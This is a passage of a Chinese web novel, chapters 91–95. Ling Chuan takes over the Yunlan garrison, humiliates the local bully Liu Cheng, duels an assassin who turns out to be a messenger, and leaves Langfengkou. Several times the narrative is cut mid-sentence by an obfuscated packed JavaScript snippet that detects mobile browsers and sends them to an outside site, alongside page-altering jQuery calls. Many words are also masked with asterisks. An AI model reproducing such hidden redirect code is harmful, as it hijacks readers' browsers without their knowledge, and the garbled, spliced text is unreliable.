“据说这名**得手之后还逃出了王府,彻底销声匿迹,当时本以为他重伤之身,定然活不了,直到几年后,江湖上出现了一个名为血衣堂的**组织,这个组织的所有**均用一把短刀,形似肋骨。 这不由让人联想到了那根杀死靖王的带血肋骨,便将这把短刀命名为血契,并将其收录进了《刀剑录》之中。” 唐岿然继续说道:“直到后来,这种短刀成了**组织血衣堂的标志性武器,这也更加坚定了此前的猜想,那名刺杀靖王的**,多半没死!” 凌川让人将这短刀收了起来,沉声道:“血衣堂是吗?我凌某人记住你了!” 凌川与叶世珍都清楚,血衣堂的**此行就是为了**灭口,他们要么是被人收买,要么这个组织本身就是某些大人物培养起来的。 如今,章俊等人全部被尽数灭口,想要以此扳倒章绩显然是不可能了。 “这件事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948006|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多半是到此为止了!”叶世珍叹息一声,说道。 凌川神色冷漠,眼底杀机弥漫,摇头道:“完不了!” 叶世珍知道,凌川不可能就此罢休,但还是劝了一句:“我知道你是重情义之人,但很多时候,你得为大局考虑!” 凌川转过目光看着他,说道:“叶先生,如果我手下的兄弟死在战场上,那是死得其所,但,他们死在这里,我必须为他们讨个说法!” 叶世珍知道劝不动,也只能作罢。 “如今,章俊等人被灭口,我明日一早便回节度府禀明卢帅,刚才我还有一道卢帅的命令没来得及传达给你!” 叶世珍看向凌川,朗声说道:“死字营校尉凌川听令!” 凌川闻言,也收起了情绪,躬身抱拳:“属下在!” “命你即日起任云岚校尉,入驻云岚县,提点一切军务!” “凌川领命!” 要是在之前,听到这个消息,凌川定然会十分高兴,可此时的他还处于悲痛与仇恨之中。 不过,这个结果却是出乎了凌川的预料,之前他虽然也是校尉军职,可终究没有自己的地盘,现在让他接管云岚县,情况将截然不同。 次日一早,叶世珍便带着几名亲卫起程返回飞龙城。 凌川则是与唐岿然返回营地,将云岚县这一营兵马给召集了起来。 云岚县有兵卒八百余人,不过大多都是没上过战场的新兵,对此凌川并不在意,只要给他几个月的时间,便能将其训练出来。 然,眼下最重要的是,这支队伍原本是章俊的人,尽管章俊的亲信已经被拿下,且被灭口于监狱之中,但,这其中保不齐还有漏网之鱼。 而且,他很清楚,这样一支队伍,哪怕他们之前对章俊并不是那么死心塌地,也会本能地对自己生出排斥。 想要让这些人真正认可自己,靠**是不行的,只能是用行动让他们折服,让他们打心底跟随自己。 第91章 接管云岚县! 校场,八百余士兵懒懒散散地站在那里,队列歪歪斜斜,一个个无精打采,全无纪律可言。 凌川站在高台之上,冷漠的目光从下方数百人的身上扫过,事实上,这些人也在打量着他,尽管昨晚叶世珍已经宣布,让自己提点云岚县军务,但他们显然并不承认或者说并没把自己当回事。 时间一点点过去,不少人已经开始磨皮擦痒,终于,站在前排的一位标长瞪着台上的凌川,用极为不善的语气说道:“我说校尉大人,你把咱们召集到这里,也不说话,这算个什么事?” 凌川看着他,冷声问道:“你很急吗?” “倒也没什么事,只是不想被你当傻子戏耍,你要训话就赶紧的,训完我好睡觉去!”男子十分不屑地说道。 男子名为刘成,本是一位标长,也是如今营中所剩不多的几名标长之一,虽然不是章俊的亲信,但在云岚县军营中也有自己的人脉和势力。 原本,章俊被革职之后,他是最后希望被提拔为校尉的,只因他们刘家乃是云岚县最大的家族,虽然谈不上豪门,但却盘踞云岚县数十年,放眼云岚县,千亩沃土万顷良田他刘家便占了一半。 城中商铺无数,大半挣钱的生意都被刘家掌握,其中福临门便是刘家的产业,福临门东家刘蚩,便是他的兄长。 昨晚,当章俊被革职之后,他敏锐察觉到自己的机会来了,族长第一时间备上厚礼拜访了云岚县令,原本想着,凭借自己在军中的人脉和威望,加之县令大人的举荐,这个校尉之位已是他囊中之物。 可他没想到,叶世珍都没有请示节度府,直接任命凌川接任云岚县校尉,这让他的计划彻底泡汤,自然不会给凌川好脸色看。 “你昨晚当值巡夜了?”凌川看着刘成问道。 刘成摇了摇头,说道:“那倒没有,只是昨晚兄弟们被大人折腾了半夜,大家都还没睡醒呢!” “好!我准你回去睡觉!” 刘成听闻此言也是一脸诧异,但话已至此,他要是不走,显得自己怂了,他果断离队,大摇大摆地朝着营地走去。 “还有谁想回去睡觉的,也可以一起去!”凌川再次开口补了一句。 此言一出,刘成那一标的士兵几乎全部离队跟了上去,整个校场空出一大块,可凌川并不着急,任由他们离去。 刘成似是计谋得逞,停下脚步转过身笑道:“校尉大人都亲口批准了,你们还不走,真要在这儿被人当猴耍吗?” 顿时,又有数十人离队,一些人刚开 始还在观望,但很快也都跟着离开,由此可见,刘成确实有些威望,准确说,刘家在云岚县的影响力着实很大。 就在此时,凌川的声音响起:“唐岿然!” “属下在!” “凡离队者一律开除军籍,让他们滚回家去睡个够!”凌川沉声喝道。 此言一出,那一百多士兵当场傻眼,刘成更是转过身,愤怒地盯着凌川,吼道:“凌川,你什么意思?” 凌川冷冷一笑,看着他说道:“你不是想睡觉吗?我就满足你这个愿望,让你回家去睡个够,这还不好吗?” “你耍我!”刘成咬牙喝到:“你凭什么开除我们的军籍?” “因为我是云岚校尉,这里的一切我说了算!”凌川的声音如寒冰利刃,铿锵有力。 “这里是军营,不是你们混吃等死的地方,还有谁想回去睡觉的,赶紧滚蛋,我手下不需要这样的废物!”凌川看着下方一众士兵,沉声喝道。 现场几百人哪里还敢乱动,很多之前还吊儿郎当的士兵,也下意识站直了身体,那些跟着一起离队的士兵,很多人脸上都露出了后悔之色。 “还真当自己是个人物了,我不妨提醒你一句,想在云岚县当家做主,你还不够格,在刘家面前,你就算是条龙也给我盘着!”刘成怒目而视,指着凌川说道。 凌川则是不以为意地笑了笑,说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948007|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刘家很厉害吗?改日定要领教一下!” 刘成他看着校场中的一众士兵,说道:“你们大多是云岚县人,可要想清楚,得罪刘家是什么下场!” 面对赤裸裸的威胁,场中不少士兵都动摇了,毕竟,刘家在云岚县城数十年积累起来的威势,早已深入不少人的内心,想要让他们在短时间内消除对刘家的恐惧,根本不可能。 要知道,这些年来,刘家强取豪夺,但凡有人忤逆他们,轻则被打成残废,重则直接举家销户。 毫不夸张地说,在这云岚县城,刘家就是土皇帝一般的存在,但凡是他们看上的东西,无论是土地、商铺还是女人,只需要一句话,便能拿到手。 云岚县百姓长期生活在水深火热之中,却是敢怒不敢言。 无论是云岚县县令,还是之前是校尉章俊,都得仰刘家鼻息,要不然,像刘成这种兵痞,又何德何能当上标长? “你们可要想清楚,随我离开这破军营,到刘家做事,我刘成绝不会亏待你们,如果非要留下来,那就是我刘家的敌人!” 面对刘成的挑拨外加威逼,很多人的内心都动摇了。 刘成的目的很简单,那就是把这一营兵力全部带走,到时候凌川一个光杆司令,还怎么当这个校尉? 然而,面对他的挑拨,凌川的脸上看不到半点慌张之色,似乎根本不在乎他带人离开。 “刘成,我今天把话放在这里,有什么招数全部使出来,我给你机会,看你能带多少人走!”凌川满脸淡然之色,随即有看向场中那些士兵,说道:“我也给你们透个底,想要跟刘成去的,我绝不挽留,如果选择留下来,我保证这是你们做得最正确的选择!” “哈哈哈哈……凌川,你连画饼都不会吗?但凡不是傻子,都知道如何选择,你拿什么跟我比?” 很快,又有人出列,加上之前的,已经有两百多人选择跟刘成。 “还有人要离开吗?”凌川看着场下众人问道。 第92章 当场吓尿! 场中鸦雀无声五百余人静静站在那里他们之中大多被刘家欺凌过与刘家有深仇大恨还有一部分是与刘成没有多大瓜葛也信不过刘成的为人。 凌川并不知道留下来的这些人中很大一部分是听闻过他在狼烽口的壮举心生敬仰想要跟着他干。 “洛青云清场!”凌川的声音响彻校场。 “是!”洛青云直接带**步上前:“军营重地无关人等速速离场!” 刘成并不畏惧他身后可是站了足足两百多人而对方不过带了十几个人过来。 “十息之内若不离开杀!” 随着洛青云一声令下十多名死字营战兵直接拔出战刀。 “唰唰唰……” 霎时间校场之上杀意横生在场许多人昨日可都是见识过凌川这些手下的恐怖战力面对这支杀得胡羯精兵丢盔弃甲的悍卒他们本能地生出惧意。 刘成的眼神之中也闪过一丝畏惧可众目睽睽之下他又不愿认怂便指着凌川喊道: “凌川你给我听着 “咻!” 话音刚落一道弓弦颤动声响起只见站在凌川身边的聂星寒朝着刘成一箭射出。 霎时间刘成脸色剧变慌忙后退结果脚下一个不稳直接一屁股坐在地上。 “噗……” 那支铁箭不偏不倚直接扎在他**将衣服穿透斜斜钉在地上只差一点这一箭就让他**了。 刘成直接被吓傻只见他脸色苍白浑身颤抖一股淡黄色液体自身下流出身旁的士兵都能闻到浓烈的尿骚味。 “浪费我一支箭真是晦气!”聂星寒冷冷说道。 相比起刚才那一箭这句话的侮辱性显然更强。 刘成再早已被吓傻连站起来都困难最终是在两名手下的搀扶下灰溜溜地离开了校场。 此时校场之中还剩下五百余士兵凌川看着他们朗声说道:“恭喜你们选择留下来!” 不少士兵露出茫然之色显然不明白凌川在恭喜他们什么。 “我知道你们之中许多人都曾受过刘家的欺凌既然你们选择跟了我我凌川在此保证绝不辜负你们的信任!”凌川看着众人继续说道: “刘家欺横霸世、强取豪夺甚至草菅人命此等恶霸既然老天不收那我凌川便收了他帮你们拿回属于你们的土地良田!” “校尉大人,您说的是真的吗?您真能替我们拿回土地?”一名士兵怯生生地问道。 凌川点头说道:“我凌川一口吐沫一颗钉,如果我做不到,主动辞去校尉之职,滚出云岚县!” “校尉大人,我们信你!”那名士兵激动得当场跪地。 紧接着,不少人也都纷纷跪地,表示愿意跟随。 “刘家欺**岚县百姓多年,我们很多人都被他们侵占了土地田产,实在是活不下去了,只能来军营之中讨口饭吃,如果校尉大人能帮我们拿回土地田产,我等就算把命交给你又如何?” “对!校尉大人,我们跟你干了!” 一时间,校场中成片的人跪倒,一个个群情激奋,纷纷表示要跟凌川干。 这一部分源于他们对刘家的痛恨,另一方面则是对凌川的信任,毕竟,凌川的口碑早已传遍北境。 不久之前,凌川跟他们一样,都还只是一名小卒,可如今,已经成为统领千人的校尉,在很多人的心目中,凌川就是他们的标杆,让他们看到了出人头地的希望。 就在众人情绪高涨之时,凌川话锋一转,说道:“你们愿意跟着我,我很高兴,但就你们现在的样子,不配做我的兵!” 此言一出,无异于给众人的头上浇了一盆冷水。 “我手下的兵不仅在战场上敢于拼命,任何时候都要令行禁止,像你们现在这般懒懒散散的样子,若是上了战场,就是给敌人白送人头!” 虽然凌川的话很难听,但是他们心里很清楚,这就是事实。 特别是在见识到凌川手下那些死字营成员的战力之后,他们更加清楚自己与他们的差距。 “所以,接下来,你们将接受残酷的训练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948008|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果吃不了这个苦的,现在就离开!”凌川的目光缓缓从众人身上扫过,继续道:“我这么做,不仅是为了训练一支能打胜仗的军队,更是让你们尽可能地活着走下战场!” “校尉大人放心吧,咱们云岚儿郎可不是孬种!”一名汉子大声说道。 “是不是孬种,不是靠嘴上说的,我需要你们用行动来告诉我,你们能否做到?”凌川大声问道。 “能!” 声音并不整齐,却异常洪亮。 凌川脸上露出一抹笑容,他知道,自己的目的达到了。 他就是要用言语来刺激这些士兵内心深处的血性,他相信经过一段时间的训练,在历经战火洗礼,这些人定能成为不逊色于边军的悍卒。 接下来,凌川让唐岿然等几名校尉,带头对这些士兵进行操练,从最基础的军纪开始。 这看似无关紧要,实则却是一支军队的根本,如果连军纪都提升不起来,其他都是空谈。 至于凌川,则是去了一趟天香楼。 “凌兄,恭喜恭喜啊!”谢知命快步迎上来,连连道喜。 “哈哈,谢兄,说不得以后要经常到你这儿蹭吃蹭喝了!”凌川笑道。 “凌兄这是哪里话,如果没有你,天香楼用不了几天就会关门,以后天香楼永远给你留一张桌子,所有吃喝全算我的!”谢知命拍着胸脯说道。 凌川知道,他说的并非客套话,但还是摆手道:“谢兄有这份心,我就很知足了,咱们交情归交情,买卖归买卖,以后你用我的酒,我就感激不尽了!” “对了,今日福临门可有动静?”凌川问道。 谢知命摇了摇头,说道:“目前还没有,不过你昨日杀了刘蚩,等同于是与刘家彻底撕破脸皮,以刘家的霸道行径,定然不会善罢甘休!” 凌川点了点头,说道:“我得先回狼烽口一趟,把把娘子和手下兵卒都带过来,我不在的时候,如果遇到危险,可去军营找唐岿然,此外,我会把翠花留在这里,暂时保护你的安全!” 第93章 风门垭截杀! “凌兄想得如此周到,谢某实在是无以为报啊! 凌川笑着拍了拍他的肩膀,说道:“你这么说,我还真有几件事情需要你帮忙! “凌兄直接吩咐即可! “我需要你帮我招募一些铁匠和木匠,工钱不是问题,但手艺一定要好! “凌兄放心,包在我身上!谢知命拍着胸脯说道。 “公子,俺跟你一起走!翠花走上来抱着凌川的手臂,一脸不舍。 “我此去不过两三天,你在这里保护谢公子的安全,任务非常重要,千万不能懈怠!凌川语重心长地说道。 “嗯!公子放心,俺一定不会让人伤害到谢公子的!翠花点头说道。 凌川当日便动身返回狼烽口,只带了聂星寒与苍蝇随行。 此地离狼烽口约八十里路程,快马加鞭不过半日路程。 在狼烽口与云岚县之间,有一道低矮山脊,当年为了修官道,硬生生挖开一道门户,每到冬季,这里寒风穿门而过,发出鬼哭狼嚎般的声音。 周围百姓将其起名为风门垭。 三人来到风门垭,忽然停下脚步,只见一名身着大红袄、怀抱长剑的男子立于路中间,嘴里吊着一截枯草眼神轻佻游离。 更令人诧异的是,他身着中原服饰,却生着一张胡人面孔,金发碧眼鹰钩鼻。 三人勒住缰绳,苍蝇正欲上前询问,却被凌川伸手拦住,反倒是聂星寒第一时间取下自己的铁胎弓。 “阁下为何挡我去路?凌川淡淡问道。 “我在等你亲自把人头送来! 凌川剑眉微蹙,不过他并未惊慌,而是笑道:“你我素不相识,你为何要杀我? 身着红袄的男子面露微笑,说道:“有人出银子,而我正好收了银子! 听到这话,凌川眼神瞬间变得犀利起来,聂星寒也不动声色地抽出一支铁箭,一支铁箭搭在弓弦之上。 “你是**?凌川沉声问道,右手紧握刀柄。 男子不置可否地点了点头,说道:“最近,你名声鹊起,风头正盛,我若摘下你的脑袋,定能名动江湖! 凌川神色冷漠,胡羯**能出现在这里,凌川虽然有些意外,但想想也正常,毕竟,边境广袤绵长,小队人马悄然过境并非难事。 只是,这名**给人的感觉很奇怪,并不像想象中那般面若寒霜、杀意冰冷,反而是一脸痞相,话也不少。 “既 然是来杀我的,那你还在等什么?” 男子指了指凌川身后及左右,说道:“自然是在等我的人将你包围!” 听闻此言,凌川眼底闪过一抹惊诧,可转头一看,周围空空如也,没有半点人影。 “锵……” 伴随一声清鸣,长剑出鞘,凌川暗道不好,顺手拔出腰间战刀,可就在这分神的刹那,对方长剑宛如一条灵蛇,飞速刺向他的心口。 “当……” 战刀猛地向上一撩,将飞速刺来的长剑荡开,然而,对方反手一爪,直接朝着凌川的咽喉抓来,招式凶猛狠辣,时机和角度都把握得恰到好处。 凌川冷笑一声,自己的刀法虽算不得顶尖,但若论近身格斗,他无惧任何人。 只见他一记擒拿手,扣住对方的手腕,**整条手臂瞬间麻木,他神色一惊,抬手又是一剑朝着凌川的咽喉削来。 凌川仰面倒下,让身体贴着马背,这才避开了这一剑,紧接着,一记朝天蹬踹向对方胸口。 这结结实实的一脚,直接将**踹飞出去,只见他身体在空中旋转一圈,轻松落地。 只不过,此时的他,脸上再无之前的轻佻笑意,取而代之的是震惊与凝重。 聂星寒迅速拉弓,苍蝇也拔出腰间战刀,却被凌川抬手制止,二人这才没有出手。 那**也没想到凌川竟然会让手下不要插手,莫非他要跟自己来一场公平决斗? “咱们打个赌如何?”凌川看着他,问道。 “好啊,你说,怎么赌!”男子嘴含笑意,轻轻抚摸着雪亮的剑身。 “咱俩一对一,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948009|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是输了,这可头颅任你拿去,若是你输了,答应我三个条件!” 红衣**先是一愣,随后大笑道:“凌川,你这般自信,真以为我杀不了你?” “你就说敢不敢赌!”凌川双眼凝视着他,问道。 “好!赌了!” 话音刚落,他身形猛然蹿出,再次杀向凌川。 与此同时,凌川也手提战刀迎了上去。 眨眼间,场中刀光剑影,你来我往对拼十余招。 凌川的刀法刚猛霸道、大开大合,加之他前世积累的丰富经验,一时间两人战得旗鼓相当。 男子的剑招刁钻狠辣,几乎是招招致命,而且,此人身法诡谲,总能在关键时刻出手,将凌川的攻击化解。 忽然,凌川刀锋一转,施展出寒星贯月猛然刺向对方的咽喉,红衣**大惊,手中长剑舞动,荡开了这一刀,可就在此刻,凌川猛然变招,一记逆浪分蛟自下而上反撩。 红衣**见状,不得不收剑撤退,这一退便将所有先机拱手让出。 凌川得势不饶人,双脚猛然踏地,身形一跃而起,双手持刀,对着他猛然劈下。 顷刻间,长刀之上霸道杀意倾泻而下,红衣**神色巨变,连忙横过长剑抵挡。 “惊雷崩!” 一道金铁交鸣声响彻风门垭,随着长刀劈落,长剑应声而断。 冰冷刀身落在红衣**的肩上,点点鲜血洒落在雪地里,如红梅绽放,端是妖艳。 红衣**似乎并未感觉到肩上的疼痛,而是看着手中的半截断剑,眼神之中满是震惊,随即苦笑一声:“我输了,要杀要剐你动手吧!” 凌川收刀入鞘,笑道:“我从未说过要杀你,而且,你的命对我来说,分文不值!” “那你待如何?”红衣**抬起目光,一脸错愕地看着凌川。 “我说过,你只需答应我三个条件即可!” “什么条件?” “第一个,告诉我你们有多少人入关,又是如何得知我行踪的!”凌川看着他,问道。 第94章 丹青府,红罗袄! 然而,听闻此言,红衣**先是一脸错愕,随即大笑道:“谁告诉你我来自关外?” 此言一出,倒是把凌川整不会了,你一个胡羯**来刺杀自己,你不从关外来从何处来? 男子随手摘了一截枯草放在嘴里嚼了起来,“我是胡羯人没错,但我对胡羯人的痛恨远胜你们周人,十岁那年,我的部落**羯人屠戮干净,只剩我一个人逃了出来,最终流落北疆被人收留,成为了一名**!” “那你为何要杀我?”凌川很是不解,对方既然痛恨胡羯人,不应该去杀胡羯人吗? 男子瞥了他一眼,说道:“你应该庆幸来的人是我,要是换其他人来,你多半就真要交代了!” “是谁让你来杀我的?”凌川又问道。 “我只是一个**,组织接了任务派发下来,至于是谁要买你的脑袋,我不可能知道!” 听到这话,凌川敏锐捕捉到,对方并非是一个普通**,而是来自一个**组织。 “你是血衣堂的**?” 男子听到血衣堂三个字,顿时不屑一笑:“血衣堂都是些什么货色?小爷我羞于与他们为伍!” 紧接着,男子缓缓起身,说道:“告诉你也无妨,小爷我来自丹青府,代号红罗袄,今日与其说是来杀你,还不如说是给你送信!” 听到丹青府三个字,无论是聂星寒还是苍蝇都倒吸一口凉气,就算是凌川也从前身的记忆中搜寻到了关于丹青府的信息。 当今江湖中,有两大**组织,一是丹青府,二是风雪楼。 二者名冠江湖,让人闻风丧胆,没有人知道这两大组织的踪迹,但它们却又无处不在,故有南府北楼之称。 这些年来,死在他们手中的大人物不计其数,巨商富贾、朝堂高官、江湖豪杰、军中猛将皆不在少数。 这些行走于阴暗世界的**只认钱不认人,只要有人出银子,就能请他们的刀出鞘,如果没请动,那就是银子不够多。 当然,这两大组织并非只是单纯的**团伙,他们分工明确的庞大组织。 从接单到分派任务、踩点到最后的执行任务,每一个环节都有专门的人负责,而且,这两大组织极为神秘,据说,这两大组织都是搜集民间稚童开始训练,根据其特长被培养成不同的身份。 而他们被选中的第一件事,就是忘记自己的名字,领取一个独属于自己的代号。 其中,丹青府的**便是用词牌名为代号,显然,红罗袄便是眼前这名**的代号。 “你刚刚说给我送信,什么意思?”凌川愈发不解。 红罗袄瞄了凌川一眼,问道:“你见过哪个**会在路中间等着你的?小爷我真要杀你,你在看到拔剑的那一刻,就已经处于生死边缘了,谁还跟你正面决斗啊!” 这番话,让凌川哭笑不得。 确实如他所说,对于**而言,目的只有一个,那就是杀死目标,至于用什么手段那都不重要。 而且,这些**正面对敌的战力往往并不是很出众,他们之所以能屡屡得手,干掉很多实力比他们强的人,是因为,他们善于伪装、善于隐忍,往往会选择在目标最放松的时候,予以致命一击。 不出手则以,出手便是必杀! “第二个条件,帮我查一查血衣堂的情报!”凌川说道。 “三千两!”红罗袄直接伸手。 凌川看着他笑道:“你这条命值不值三千两?” “算你狠!”红罗袄双目一瞪,问道:“第三个条件是什么?” “第三个条件现在还没想好,等我想好了再告诉你!”凌川若有所思地说道。 红罗袄收起自己的断剑,挥手道:“走了!” 这一场充满戏剧性的截杀,就此告一段落。 回到狼烽口,凌川让苍蝇去市集上买些食材,准备叫上狼烽口的兄弟们吃个告别饭。 当晚,小院中齐聚一堂,陈暻垚、余生、耿良、伍兴邦、黄琛、以及戊标现任标长梁盛和几名什长都到了,此外,凌川还叫了宋军医和杨铁匠。 得知凌川即将到云岚县任校尉,大家都很开心,但又带着几分不舍。 “标长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948010|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恭喜高升,以后可别忘了咱们这帮老兄弟啊!”李长隆举杯敬酒,尽管如今凌川已经是校尉,但大家还是习惯称他为标长。 “大家放心,对我而言,狼烽口就是我的家,无论走到哪里,我都不会忘了大家的!”凌川真诚说道。 “对,无论以后走到哪里,大家永远是同生共死的兄弟!”伍兴邦点头说道。 就在这时,陈暻垚端起酒杯,说道:“其实,我的调令也到了!” 众人闻言,皆是一脸诧异,耿良第一个问道:“都尉大人,你调到哪儿?” “到阑州任副将!”陈暻垚回答道。 一听到陈暻垚也要走,现场的气氛顿时变得沉重起来,毕竟凌川如今手底下有一千兵力,只是暂时留在狼烽口,调离是板上钉钉的事情,大家早有心理准备。 但,陈暻垚也要被调走,狼烽口一下子少了两位主心骨,让其余人心里多少有些失落。 “都尉大人,你到哪儿,我都跟你!”耿良语气坚决地说道。 陈暻垚拍了拍他的肩膀说道:“你不能走,节度府让我推选狼烽口的校尉,我报的是你的名字!” 随后,他又看向伍兴邦,说道:“其实,伍老哥的资历是如今狼烽口最老的,战功也绰绰有余,但老哥的性格过于随和,大家敬你但不怕你,所以,请伍老哥见谅!” 伍兴邦十分豁达地摆了摆手,说道:“都尉大人想多了,我老伍知道自己不是那块料!” 在他们原本的预想中,陈暻垚若是高升,最适合接管狼烽口的便是凌川,可没想到凌川竟然先一步调走。 以狼烽口眼下的人员来看,耿良确实是最合适做这个校尉的人选,他曾是陈暻垚的亲兵队长,因曹正通敌被处决之后,才被派去接管的甲标,而且,耿良虽然年轻,但资历和经验都足够。 陈暻垚拍了拍耿良的肩膀,说道:“以后,狼烽口就交给你了!” “都尉大人,我……”耿良语无伦次,并非是因为升职而受宠若惊,而是感觉肩上多了一副沉甸甸的胆子。 “放心吧!你行的!”凌川鼓励道。 第95章 告别狼烽口! “过几日,新兵就到了,按照凌川之前给的方法操练即可,各位也要多费心带带新兵,你以后若是遇到拿不准的事情,要多与伍老哥以及各位标长商量! 就在这时,余生看着凌川,说道:“标长,我想跟你去云岚县! 凌川摇了摇头,说道:“眼下狼烽口正是用人之际,你得留下来帮助耿良,放心,以后会有机会的! 余生虽然有些失落,但还是点头答应。 大家都沉浸在离别的伤感之中,只有杨铁匠一个人独自畅饮。 凌川举杯问道:“杨师傅,这就要分别了,你就没什么要说的吗? 杨铁匠不屑嗤笑道:“又不是生离死别,老头子我没那么矫情! 不知不觉几大坛酒见底,哪怕是凌川都有些微醺了,大家不由得想起了熊广,想起了朱骞,想起了前不久战死的那些兄弟。 众人起身,端起酒碗对着城楼的方向,将碗中酒缓缓洒在地上。 “兄弟们,一路走好! 次日,凌川召集队伍准备出发,可就在此时,苏璃一脸慌张地找到凌川。 “相公,小北不见了! 凌川顿时心神一紧,“别急,慢慢说! “刚刚我在收拾东西,转身发现小北不见了,屋里屋外都找遍了,还是没找到!苏璃满脸担忧地说道。 经过这段时间的相处,二人已经将这个苦命的孩子当成了家里的一员,而且,小北虽然年纪不大却十分懂事,总是帮苏璃做事。 军营之中肯定不会有危险,这一点凌川倒是不担心,可这个五六岁的小娃娃又能去哪里呢? 忽然,凌川目光一凝,说道:“我知道他在哪儿了! 他示意苏璃在家里等着,自己则是迅速出营,骑上马朝着市集方向奔去,很快就来到小北曾经的家。 曾经那个并不富裕却满是温暖的房子,如今一片冷清,屋后有两座新坟,一名小男孩跪在坟前,隐约能听到他稚嫩的声音。 “爹,娘……小北声音哽咽,满脸泪痕,显然是刚哭过。 “小北要跟着叔叔婶婶离开了,你们放心,我会经常回来看你们的! “你们在天上看着小北,等过些年小北长大了,一定多杀胡贼,替你们报仇! 小北说完,对着两座坟恭恭敬敬磕了三个响头。 等他站起转身,发现凌川就站在身后不远处。 “叔叔! “云岚县距离这里不远,随 时都可以回来!”凌川走上来轻轻擦掉他小脸蛋上的眼泪随后一把将其抱了起来。 紧接着凌川又看向两所坟说道:“我会把小北抚养长大的你们放心吧!” “叔叔咱们走吧!”小北紧紧抱着凌川的脖子就像上次凌川从地窖中把他抱出来时一样。 半个时辰之后队伍正式起程! 除了死字营成员之外还有那几十名从土堡解救出来的女子也会跟着一起到云岚县。 苏璃依依不舍地锁上了院子的门。 虽然只是一座简陋的土墙房但对于她来说却是人生最绝望之时的避风港门上的喜联和窗户上的大红喜字还是那么的醒目。 “嫂子放心我以后定期来打扫要是你们哪天回狼烽口了还可以住!”余生看出了苏璃的不舍说道。 “谢谢你余生!” 告别陈暻垚等众人凌川内心略显沉重虽然自己与他们相处不过两个月却早已把他们当成自己最亲的人。 经过这段时间的修缮城墙等工事基本已经修葺完毕而且比之前更加厚实。 如今更是配置了三弓床**和投石车虽说上次一战狼烽口元气大伤但防御力却比之前提升了数倍。 凌川将所有军粮全部留在了狼烽口战马以及兵器铠甲也只是人手一套之前打扫战场和土堡缴获的那些全部都留在了这里。 毕竟狼烽口家底薄尽可能地给他们多留一些。 不过凌川提醒过陈暻垚土堡缴获的兵甲先别动毕竟现在事情还没有告一段落以免上面追问起来不好交代。 军营狼烽口所有士兵分列两侧一个个身形笔直 当凌川带着八百余死字营成员路过的时候陈暻垚带头举起右拳用力敲打着胸甲。 “砰砰砰……” 其他士兵见状也都纷纷举起右手捶打着胸口。 拳头敲打胸甲的声音宛如战鼓雷动全程无人说话只是用这种方式送别同袍。 尽管很多人连名字都不知道但彼此间却有着过命的交情。 云岚县不过几十里路程但他们都清楚此次一别或许很多人就再也见不到下一面了。 这种同袍情义无需言语却足以让这些铁血汉子眼含热泪。 凌川骑马与苏璃的马车并排而行路过市集发现所有百姓自发**在街道两旁见到凌川之后直接一拥而上。 标长薛焕之见状正要阻拦 却被凌川制止。 “凌标长,这是俺家里老母鸡生的鸡蛋,你拿着!” “凌标长,这是我媳妇早上才蒸的馒头,你拿着路上吃!” “苏丫头,这是我给孩子绣的虎头鞋,你先收着!” 于凌川而言,这些狼烽口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 